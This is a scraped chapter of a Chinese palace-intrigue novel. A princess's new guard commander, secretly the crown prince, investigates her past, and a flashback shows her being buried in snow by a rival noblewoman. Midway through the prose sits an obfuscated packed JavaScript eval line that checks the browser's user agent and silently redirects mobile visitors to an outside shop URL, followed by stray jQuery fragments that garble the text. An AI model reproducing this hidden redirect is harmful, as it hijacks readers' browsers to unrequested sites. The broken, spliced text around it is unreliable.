向徐燕臣赔不是?
同窗六载,景迟还从未做过这种事。
徐晏不甚自在地摆摆手:“不必,不必,方才只是误会,小殿下不要放在心上。”
就见景迟后撤一步,长臂一展,倾身拱手一礼,道:“末将以下犯上,不懂规矩,自请领罚,还望徐九公子见谅。”
徐晏迅速侧身避开,心里暗叫一声折寿。
折了个大寿。
“白、白大统领言重了,在下说过,只是误会。”
见徐晏脸色依然不豫,盛霓便知方才这二人是真动了火气,不由又剜了景迟一眼,歉疚地送徐晏出府。
“念在首次犯错,从轻,罚白夜半月俸禄。”送走了徐晏,盛霓对晚晴道。
“罢了,”盛霓想到了什么,改口,“他初到燕京,许多事等着耗费银钱,还是不要罚俸了,叫他休息好了写一份书面检讨给本宫,保证不再乱了规矩。”
晚晴憋住笑:“是,小殿下。”
小殿下看不见的时候,那白夜时常流露出一副万人之上的傲慢模样,下人们看不惯。叫他写检讨,真是专治不服。
“对了,白夜的盘州履历预计何时能够传回京城?”
“好在盘州距京城不远,再过两日应当差不多了。”
-
傍晚,景迟亲自巡夜完毕,回到罩房寝舍。
推开门,室内一片寂静漆黑,窗子大开,初冬的夜风卷进来,将侍卫为巴结新大统领安置的两个炭盆吹得形同虚设。
一个黑影立在桌案旁,衣摆在风中起伏拂动,不必点灯也能看出那是民间难得的轻柔料子。
景迟反手关上房门。
室内烛灯应声点亮。
恭候多时的红衣少年垂首拜倒:“无明拜见主子。”
景迟抬了抬手,示意名叫无明的少年平身。
“禀主子,查清了,去年腊月初三,天降大雪,颐华郡主仗势欺侮了嘉琬公主,致使嘉琬公主受了寒。”
“腊月初三……”景迟在简陋的胡椅上坐下,修长手指一下一下叩击着桌案,回想这个日期,“嘉仪公主殡礼?”
“正是。那日谨王妃出殡,颐华郡主在钟慧公主府前闹事,逼得嘉琬公主从停灵的国恩寺一路纵马回城,这才有了后续的冲突。”
那日,众人都在国恩寺等待出灵时辰。在那之前谁都没有想到,头一个葬入新修成的大延皇陵的,不是景氏皇族,而是嫁作景家妇的前朝公主。
钟慧公主府传来消息,颐华郡主程菁菁披着一身火红斗篷,着火红衣裙,在钟慧公主府前赏雪吹笛,已有数个时辰了。
钟慧公主府原是座在前朝便已空置的府邸,距皇城甚远,周边景致自然萧落,若说在挂了白的府门前吹笛是为了赏雪助兴,鬼都不信。
姐姐薨逝,程菁菁便是如此招摇称庆的。
欺人过甚。
十四岁的盛霓恨得五脏俱碎,顾不得乘车,抢了一匹快马一路驰回城内。
风雪刮在脸上,将泪痕凝成了薄霜,吹散了她乌黑如瀑的长发。
长长一路疾驰,寒意穿透素服,仿打在盛霓瘦小的身躯上,几乎将她整个人都冰封起来。可是盛霓完全感觉不到,姐姐是她在这世间最后的亲人,她不能允许有人如此糟蹋姐姐。
盛霓记不清自己用了多久抵达钟慧府门前,翻下马背的时候,握缰的双手已冻得没了知觉,只剩痛胀的灼热。
模糊视野里,乱雪纷飞,满目的银装缟素间,那一道鲜红的身影如刀尖般刺目,直直戳进盛霓的眼底。
这一条街都被庆国公府的卫队封住,钟慧公主府的侍卫和下人们被庆国公府的卫兵以数量碾压,全部拦在路对面,无法靠近颐华郡主半步。
“程菁菁,你为什么要这么做?犯人魂灵,不怕遭天谴吗!”
盛霓的牙关已经不听使唤,痉挛般地咯咯打颤。
程菁菁抬手捏住盛霓冻得冰凉的小脸,恶狠狠地盯住那张与谨王妃极度相似的面容,一字一顿地从牙缝里挤出回答:“半生相思东流去,此恨绵绵,无绝期。”
盛霓用力推开程菁菁的手,“两姓之好,男欢女爱,岂是强求来的?你不过是自己一厢情愿,便是没有我姐姐,难道谨王姐夫就一定会选你?将一切怪到我姐姐头上,这是哪来的道理!”
“但凡是我程菁菁看上的,从来没有得不到的。这辈子我只心悦这一个男人,谁跟我抢,我就饶不了谁!”
程菁菁使劲推搡过去,将单枪匹马的盛霓推倒在雪地里。
“怎么不去找太子哥哥求情了?继续去求啊,就像求他为嘉仪寻回尸身那样,求他来帮你啊。”
“你在说什么……”盛霓艰难地从湿冷的雪地里爬起来,听不懂程菁菁的意思。
“装什么不知情。”程菁菁笑得阴阳怪气,“若不是你去求太子哥哥,他会在御前力主继续搜寻尸身?当时圣上可是又发了好大的火呢。”
盛霓用力晃了晃冻得发昏的脑袋,白雪沾在披散的青丝上,如落花般被摇落。
太子哥哥,拼着触怒龙颜也坚持力主搜寻姐姐的尸身?
他为什么?
程菁菁一挥手,豪奴一拥而上,将盛霓再次推倒在冰雪中。
“哦,想起来了,太子哥哥病得不能见客呢,怕是不能赶来救你了。”
程菁菁居高临下地拢了拢火红的斗篷,婢女立刻上前将她肩头的落雪仔细拂去。
“给我埋了她,让她同她那狐狸精姐姐作伴去吧!”
几个婆子按住盛霓不许她挣扎,健奴们奉命往她身上一捧一捧地盖上积雪。
程菁菁身边的婢女小声道:“郡主,这样不好吧,若被国公爷和长公主知道了……”
程菁菁恼怒地拧了婢女一把,“就你长了嘴?雪还真能埋死人不成!”
婢女吃痛,慌忙跪地请罪。
冰凉的雪一点点被人体的温度融化,冰湿的雪水浸透素服,让素服连同几层衣衫一并贴到身上,几乎将五脏六腑都冰冻起来。
盛霓拼命挣扎,可是根本无济于事。
乱雪飘落,落进她的眼睛里,顺着泪水滑过眼角,让泪水也变得冰冷。
公主府众人企图冲过来,与庆国公府的卫队打得昏天黑地。
有人拂去盛霓脸上的脏雪,将她从雪堆里抱出来。
盛霓只觉自己的意识像是飘在虚无的半空,已经感觉不到身体的存在。
一片苍茫的朦胧里,那人戴着雪色的幕离,仿佛与这天地融为一体。
在梦里,盛霓无数次努力想抬起手,撩开那道轻纱看看他是谁,可是手臂沉重得根本不听使唤。
已经过去了这么久的事,不知为何又突然梦回。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080817|138010||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
盛霓睁开眼睛,身体并没有真的感到冰冷,而是缩在柔软温暖的锦被里。殿内早已熄灯,月华在地面投下槅窗雕花的影子。
盛霓坐起身,却是一时没了睡意。
钟慧公主府罩房寝舍,白大统领的窗子还映着灯光。
无明将这两日收集到的来龙去脉细细禀完。
“难怪,寻常雪天怎会使人风寒侵体至此。”景迟垂眸,羽睫下森寒的杀意一闪而过。
无明道:“这件事当时闹得很乱,最终被庆国公府压了下来,消息连这条街都没传出去。”
“颐华居然想嫁谨王。”景迟久在东宫,收集的信息都有指向性,对于这些八卦逸闻倒是不知,“连这点局势都看不明白,还妄想做王妃?”
无明道:“要怪就怪庆国公府分量太重,无论与哪位皇子联姻,都会给这个皇子带来争夺储位的筹码。为朝局稳固计,颐华郡主若想嫁进皇家,只能嫁作太子妃。”
景迟瞪了无明一眼。
无明赶紧低下头:“属下失言,主子怎会娶那样一个恶毒女子。主子,要不要对庆国公府铺开监视?目前来看,谨王妃的死与颐华郡主未必无关。”
“不像。”景迟手掌一挥,内力拂灭了灯火,使这间寝舍看上去像是熄灯安寝,“若是颐华郡主做的,她的恨意早在得手时便该发泄了出来,不会再在殡礼那日闹事。”
“所以,主子还是要寻到谨王妃遗物中的证据?为了有机会接近谨王妃的遗物,为了尽快博得嘉琬公主的信任,不惜为她渡传内力?”
景迟打断他:“没别的事的话,退下吧。”
无明脚步动了动,没走。
“主子为了逼毒才修习了这套内功心法,不得不以药引速成,以致损伤了丹田。这么快就向外渡出,轻则剧痛难忍,重则损伤气海,主子……”
“那你告诉孤,小公主对孤如此警惕,若想在她南下前把京城内的线索全部挖出,除了利用她有恩必报的性子拉近距离,还有其他更快捷的办法吗?”
无明默然。
房门突然发出吱呀一声短促的响动。
-
盛霓睡不着,索性披衣起身到院中走走,可是晚晴每隔二十步就要劝她回去,盛霓便不许她们再跟着,一个人提灯走到前院来。
她望见罩房有一间寝舍亮着灯,看方向像是一队队长阿七的房间,该不会这小子还念念不忘大统领之位,气得睡不着吧?
阿七是宫里跟过来的老人儿,护卫她和姐姐多年了,盛霓不忍心不闻不问让这小子一个人一直生闷气。
走到半路,那灯却又熄了,分不出方才亮着的究竟是哪间。
盛霓正想放弃,又隐隐听见似乎有说话声。
她耳力极佳,那细小的声音夹在风中,常人根本分辨不出。
盛霓放轻脚步走到一扇门前,伸手轻轻推了一把,“阿七,是你吗?”
刹那间盛霓猛然回想了起来,这间寝舍原是阿七的没错,今日已腾出来给新任大统领居住。
蓦地,一只有力的手握住了她的手臂,将她扯进了门内,关上了房门。
白夜!
又是白夜!
盛霓刚想申斥就被捂住了嘴。
景迟用手臂箍住盛霓的身体,使她不能乱动发出声响,凑近她耳畔轻声道:“外面有人,殿下别出声。”